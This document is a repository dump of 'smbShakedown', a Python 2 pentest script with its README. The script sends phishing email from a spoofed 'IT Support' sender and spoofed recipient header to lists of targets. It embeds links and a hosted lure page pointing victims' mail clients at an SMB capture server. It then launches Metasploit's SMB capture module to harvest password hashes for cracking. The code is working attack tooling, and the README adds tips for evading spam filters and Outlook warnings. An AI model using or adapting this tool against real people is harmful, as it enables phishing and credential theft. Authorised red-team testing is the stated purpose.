├── README.md └── smbShakedown.py /README.md: -------------------------------------------------------------------------------- 1 | #smbShakedown ![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg) 2 | Description: A simplified SMB Email Client Attack script used for pentests. 3 | Created by: Nick Sanzotta / @beamr 4 | Version: smbShakedown.py v 1.10252016.b 5 | 6 | *** 7 | INFO 10-25-16: 8 | 9 | README.MD / Help file are outdated. 10 | ADDED Option to Spoof Recipient header. (Also helps avoid orange "?" in Outlook) 11 | ADDED Option to insert HyperLink. 12 | ADDED HTTP Server feature to host a Web page with the HTML IMG SRC TAG. 13 | ADDED REDIRECT OPTION FOR HTTP SERVER.(Redirect back to client's site) - currently broken, working on a fix. 14 | 15 | 16 | *** 17 | Installation: 18 | 19 | git clone https://github.com/NickSanzotta/smbShakedown.git 20 | cd smbShakedown/ 21 | python smbShakedown.py 22 | 23 | *** 24 | Usage: 25 | 26 | 1.Enter SMTP Server address: 27 | 28 | 2.Enter SMTP Server credentials: 29 | (anonymous connections not supported.) 30 | 31 | 3.Configure "from" and "to" addresses: 32 | (TIP: For multiple addresses, enter a file or seperate with a comma) 33 | 34 | 4.Enter SMBCapture Server IP address, so it can be placed in body of email: 35 | EX: 36 | 37 | 5. Choose whether or not to launch Metasploit's SMB Capture server. 38 | 39 | *** 40 | Note: 41 | 42 | If using Google's SMTP servers, ensure you have enabled "Less Secure Apps" on your account. 43 | 44 | Path: https://www.google.com/settings/security/lesssecureapps 45 | EX: Allow less secure apps: ON 46 | 47 | Please be aware this setting is not available for accounts with 2-Step Verification enabled. 48 | Such accounts require an application-specific password for less secure apps access. 49 | 50 | 51 | *** 52 | Example: 53 | 54 | External IP: 100.100.100.100 55 | Internal IP: 10.37.242.7 56 | 57 | 58 | Enter SMTP Server address[smtp.gmail.com]: 59 | ENTERED: "smtp.gmail.com" 60 | 61 | Enter your SMTP Server Port[587]: 62 | ENTERED: "587" 63 | 64 | Enter SMTP Server username[user@gmail.com]: user@gmail.com 65 | ENTERED: "user@gmail.com" 66 | 67 | Enter SMTP Server password: 68 | 69 | 70 | Enter SMB Capture Server IP address[10.37.242.7]: 71 | ENTERED:10.37.242.7 72 | 73 | Enter "from name":[Tester] 74 | ENTERED:Tester 75 | 76 | Enter "from address":[user@gmail.com] 77 | ENTERED:user@gmail.com 78 | 79 | Enter recipient(s) name[Client]: Client 80 | ENTERED:Client 81 | 82 | TIP: For multiple addresses, enter a file or seperate with a comma 83 | EX:/opt/emailAddresses.txt or user1@company.com,user2@company.com 84 | Enter recipient addresses[File or individual email(s)]): /opt/emailAddresses.txt 85 | ENTERED:/opt/emailAddresses.txt 86 | 87 | ENTERED:['user1@company.com', 'user2@company.com'] 88 | 89 | Email Message Template Below: 90 | From: Tester 91 | To: Client <['user1@company.com', 'user2@company.com']> 92 | MIME-Version: 1.0 93 | Content-type: text/html 94 | Subject: smbShakedown.py test. 95 | 96 | 97 | ... 98 | smbShakedown.py test message. 99 |
100 | 101 | 102 | Testing Connection to your SMTP Server... 103 | ('SMTP Server Status: ', 250) 104 | Connection to SMTP Server is successful, would you like to send mail now?[yes]:yes 105 | ENTERED: "yes" 106 | 107 | Message(s) sent! 108 | no 109 | Launch Metasploit's SMB Capture module?[yes]:no 110 | ENTERED: "no" 111 | 112 | Ok, remember to setup your SMBCapture Server elsewhere. 113 | 114 | 115 | *** 116 | To update email template modify the following in source: 117 | Becareful not to remove the variables {0},{1},{2} and {3} 118 | 119 | ### EDIT: Email Message Template Below ### 120 | message = """From: {0} <{1}> 121 | To: {2} 122 | MIME-Version: 1.0 123 | Content-type: text/html 124 | Subject: smbShakedown.py test. 125 | 126 | 127 | ... 128 | smbShakedown.py test message. 129 |
130 | 131 | """ 132 | ########################################################## 133 | 134 | *** 135 | To do: 136 | 137 | Add error handling. 138 | 139 | 140 | -------------------------------------------------------------------------------- /smbShakedown.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Description: A simplified SMB Email Client Attack script. 3 | # Created by: Nick Sanzotta / @beamr 4 | # Version: smbShakedown.py v 1.10252016.b 5 | import os, sys, smtplib, getpass, readline, socket, time 6 | import urllib, json 7 | import readline 8 | readline.parse_and_bind("tab: complete") 9 | import SocketServer, SimpleHTTPServer, multiprocessing 10 | 11 | rcfile = 'smbServ.rc' 12 | 13 | class colors: 14 | white = "\033[1;37m" 15 | normal = "\033[0;00m" 16 | red = "\033[1;31m" 17 | blue = "\033[1;34m" 18 | green = "\033[1;32m" 19 | x = "\033[1;35m" 20 | 21 | banner = colors.x + r""" 22 | __ 23 | /\ \ 24 | ____ ___ ___\ \ \____ 25 | /',__\ /' __` __`\ \ '__`\ 26 | /\__, `\/\ \/\ \/\ \ \ \L\ \ 27 | \/\____/\ \_\ \_\ \_\ \_,__/ 28 | \/___/ \/_/\/_/\/_/\/___/ 29 | 30 | ____ __ __ __ 31 | /\ _`\ /\ \ /\ \ /\ \ 32 | \ \,\L\_\ \ \___ __ \ \ \/'\ __ \_\ \ ___ __ __ __ ___ 33 | \/_\__ \\ \ _ `\ /'__`\ \ \ , < /'__`\ /'_` \ / __`\/\ \/\ \/\ \ /' _ `\ 34 | /\ \L\ \ \ \ \ \/\ \L\.\_\ \ \\`\ /\ __//\ \L\ \/\ \L\ \ \ \_/ \_/ \/\ \/\ \ 35 | \ `\____\ \_\ \_\ \__/.\_\\ \_\ \_\ \____\ \___,_\ \____/\ \___x___/'\ \_\ \_\ 36 | \/_____/\/_/\/_/\/__/\/_/ \/_/\/_/\/____/\/__,_ /\/___/ \/__//__/ \/_/\/_/ 37 | 38 | """+'\n' \ 39 | + colors.x + '\n smbShakedown.py v1.10252016.b' \ 40 | + colors.normal + '\n Description: A simplified SMB Email Client Attack script.'\ 41 | + colors.normal + '\n Created by: Nick Sanzotta/@beamr' + '\n'\ 42 | + colors.normal + ' ' + '*' * 95 +'\n' + colors.normal 43 | 44 | def cls(): 45 | os.system('cls' if os.name == 'nt' else 'clear') 46 | 47 | def get_external_address(): 48 | data = json.loads(urllib.urlopen("http://ip.jsontest.com/").read()) 49 | print("External IP: "+data["ip"]) 50 | return data["ip"] 51 | 52 | def get_internal_address(): 53 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 54 | s.connect(("8.8.8.8", 80)) 55 | print("Internal IP: "+s.getsockname()[0]) 56 | return s.getsockname()[0] 57 | 58 | def smbServ(): 59 | smbServOption = raw_input("\nLaunch Metasploit's SMB Capture module?[yes]:") or 'yes' 60 | choice = smbServOption.lower() 61 | yes = set(['yes','y', 'ye', '']) 62 | no = set(['no','n']) 63 | print('ENTERED: "%s"' % choice + "\n") 64 | if choice in yes: 65 | with open(rcfile, 'w') as f1: 66 | f1.write("use auxiliary/server/capture/smb"+"\n"+\ 67 | "set srvhost "+get_internal_address()+"\n"+\ 68 | "set JOHNPWFILE /opt/smbShakedown/smb_hashes"+"\n"+\ 69 | "exploit -j -z") 70 | os.system('msfconsole -q -r smbServ.rc') 71 | elif choice in no: 72 | print("Ok, remember to setup your SMBCapture Server elsewhere. \n") 73 | else: 74 | sys.stdout.write("Please respond with 'yes' or 'no'") 75 | 76 | def smtpConn(smtpServerAddress, smtpServerPort, smtpUser, smtpPassword, senderAddress, recipientAddress, emailMessage): 77 | smtpserver = smtplib.SMTP(smtpServerAddress, smtpServerPort) 78 | smtpserver.ehlo() 79 | smtpserver.starttls() 80 | smtpserver.ehlo 81 | smtpserver.login(smtpUser, smtpPassword) 82 | print("Testing Connection to your SMTP Server...") 83 | time.sleep(1) 84 | try: 85 | status = smtpserver.noop()[0] 86 | print("SMTP Server Status: ",status) 87 | sendOption = raw_input("Connection to SMTP Server is successful, would you like to send mail now?[yes]:") or 'yes' 88 | choice = sendOption.lower() 89 | yes = set(['yes','y', 'ye', '']) 90 | no = set(['no','n']) 91 | print('ENTERED: "%s"' % choice + "\n") 92 | if choice in yes: 93 | smtpserver.sendmail(senderAddress, recipientAddress, emailMessage) 94 | print("Message(s) sent!") 95 | smtpserver.quit() 96 | return True 97 | elif choice in no: 98 | smtpserver.quit() 99 | print("Ok no mail sent.") 100 | return False 101 | else: 102 | sys.stdout.write("Please respond with 'yes' or 'no'") 103 | except: 104 | status = -1 105 | print("[Aborting]SMTP Server Status: ",status) 106 | return True if status == 250 else False 107 | 108 | def main(): 109 | cls() 110 | print(banner) 111 | try: 112 | extipAddress = get_external_address() 113 | except IOError: 114 | print("Check your Internet connection") 115 | sys.exit(0) 116 | ipAddress = get_internal_address() 117 | ipAddress = get_internal_address() 118 | print("\n") 119 | smtpServerAddress = raw_input('Enter SMTP Server address[smtp.gmail.com]: ') or 'smtp.gmail.com' 120 | print('ENTERED: "%s"' % smtpServerAddress + "\n") 121 | smtpServerPort = raw_input('Enter your SMTP Server Port[587]: ') or 587 122 | print('ENTERED: "%s"' % smtpServerPort + "\n") 123 | smtpUser = raw_input('Enter SMTP Server username[****@gmail.com]: ') 124 | print('ENTERED: *****\n') 125 | smtpPassword = getpass.getpass(r'Enter SMTP Server password: ') 126 | print("\n") 127 | senderName = raw_input('Enter "from name":[IT Support]') or 'IT Support' 128 | print('ENTERED:' "%s" % senderName + "\n") 129 | senderAddress = raw_input('Enter "from address":[itsupport@company.com]') or 'itsupport@company.com' 130 | print('ENTERED:' "%s" % senderAddress + "\n") 131 | recipientName = raw_input('Enter recipient(s) name[Company Staff]: ') or 'Company Staff' 132 | print('ENTERED:' "%s" % recipientName + "\n") 133 | print('TIP: This will help avoid the orange "?" and/or Spoof the recipient. Default value usually works.') 134 | rcptHeader = raw_input('Enter recipient address for the email header[staff@company.com]') or 'staff@company.com' 135 | print('ENTERED:' "%s" % rcptHeader + "\n") 136 | try: 137 | print('TIP: For multiple addresses, enter a file or seperate with a comma\n'\ 138 | 'EX:/opt/emailAddresses.txt or user1@company.com,user2@company.com') 139 | rawrcptAddress = raw_input('Enter BCC recipient addresses[File or individual email(s)]): ') 140 | print('ENTERED:' "%s" % rawrcptAddress + "\n") 141 | with open(rawrcptAddress, 'r') as f1: 142 | x = f1.read() 143 | recipientAddress = x.split() 144 | print(recipientAddress) 145 | print("\n") 146 | except IOError: 147 | recipientAddress=rawrcptAddress.split(',') 148 | print('ENTERED:' "%s" % recipientAddress + "\n") 149 | smbCaptureServer = raw_input('Enter SMB Capture Server IP address['+extipAddress+']: ') or extipAddress 150 | print('ENTERED:' "%s" % smbCaptureServer + "\n") 151 | #HYPER LINK OPTIONS 152 | print('TIP: A HyperLink can be directed to an Webpage with an HTML IMG Tag.') 153 | hyperLinkOption = raw_input('Would you like to add a HyperLink to your message?[yes]: ') or 'yes' 154 | print('ENTERED:' "%s" % hyperLinkOption + "\n") 155 | choice = hyperLinkOption.lower() 156 | yes = set(['yes','y', 'ye', '']) 157 | no = set(['no','n']) 158 | if choice in yes: 159 | print('TIP: Domain based HyperLinks help avoid the "JunkFolder".') 160 | hyperAddress = raw_input('Please enter a addresss without "http://": ['+extipAddress+']:' ) or extipAddress 161 | print("ENTERED: " "%s" % "http://"+hyperAddress+"/" + "\n") 162 | hyperText = raw_input('Enter text for Hyperlink to be displayed[CLICK ME!]: ') or 'CLICK ME!' 163 | print("ENTERED: " "%s" % hyperText + "\n") 164 | hyperLink = ''+hyperText+'' 165 | #HTTP Server OPTIONS 166 | print('TIP: You can point your HyperLink to a locally hosted Webpage.') 167 | httpServOption = raw_input("Host local Webpage with an HTML IMG Tag?[yes]: ") or 'yes' 168 | print('ENTERED:' "%s" % httpServOption + "\n") 169 | choice = httpServOption.lower() 170 | yes = set(['yes','y', 'ye', '']) 171 | no = set(['no','n']) 172 | if choice in yes: 173 | httpPort = raw_input("HTTP Server Port?:[80]") or 80 174 | print('ENTERED:' "%s" % httpPort + "\n") 175 | print("\n") 176 | print("TIP: Coming soon...") 177 | #Redirect OPTIONS 178 | redirectOption = raw_input("Would you like a redirect on your Webpage?[yes]:") or 'yes' 179 | print('ENTERED:' "%s" % redirectOption + "\n") 180 | choice = redirectOption.lower() 181 | yes = set(['yes','y', 'ye', '']) 182 | no = set(['no','n']) 183 | if choice in yes: 184 | redirect = raw_input('Enter redirect address[ex: client-site.com]:') or '' 185 | print('ENTERED:' "%s" % redirect + "\n") 186 | elif choice in no: 187 | print('Okay, Webpage will not redirect:') 188 | redirect = '' 189 | else: 190 | sys.stdout.write("Please respond with 'yes' or 'no'") 191 | ### EDIT: HTML Template Below ### 192 | ### Becareful not to remove the variables {0} and {1} ### 193 | html = """ 194 | 195 | 196 | 197 | 198 | 199 | 202 | SMB Egress Test Page. 203 | 204 |
205 | 206 | 207 | 208 | """ 209 | indexHTML = html.format(smbCaptureServer, redirect) 210 | print(indexHTML) 211 | print("\n") 212 | with open('index.html','w+') as f1: 213 | f1.write(indexHTML) 214 | print('Starting HTTP Server') 215 | print('\n...') 216 | httpPort = 80 217 | Handler = SimpleHTTPServer.SimpleHTTPRequestHandler 218 | httpd = SocketServer.TCPServer(("",httpPort), Handler) 219 | server_process = multiprocessing.Process(target=httpd.serve_forever) 220 | server_process.daemon = True 221 | server_process.start() 222 | print("Python SimpleHTTPServer now Listening on Port: " + str(httpPort)) 223 | print("\n") 224 | elif choice in no: 225 | print('Ok local HTTP Server not started: \n') 226 | else: 227 | sys.stdout.write("Please respond with 'yes' or 'no'") 228 | 229 | 230 | elif choice in no: 231 | print('Okay, A Hyplink will not be added to your message: \n') 232 | hyperLink = '' 233 | else: 234 | sys.stdout.write("Please respond with 'yes' or 'no'") 235 | 236 | 237 | ### EDIT: Email Message Template Below ### 238 | ### Becareful not to remove the variables {0},{1},{2},{3} and {4} ### 239 | message = """From: {0} <{1}> 240 | To: {2} <{3}> 241 | MIME-Version: 1.0 242 | Content-type: text/html 243 | Subject: Thank you for all your help. 244 | 245 | Staff, 246 |
247 | ... 248 |
249 | {5} 250 |
251 | sincerely, 252 |
253 | 254 | """ 255 | ########################################################## 256 | emailMessage = message.format(senderName, senderAddress, recipientName, rcptHeader, smbCaptureServer, hyperLink) 257 | print('Email Message Template Below:') 258 | time.sleep(1) 259 | print(emailMessage) 260 | smtpConn(smtpServerAddress, smtpServerPort, smtpUser, smtpPassword, senderAddress, recipientAddress, emailMessage) 261 | time.sleep(1) 262 | smbServ() 263 | if __name__ == "__main__": 264 | main() 265 | --------------------------------------------------------------------------------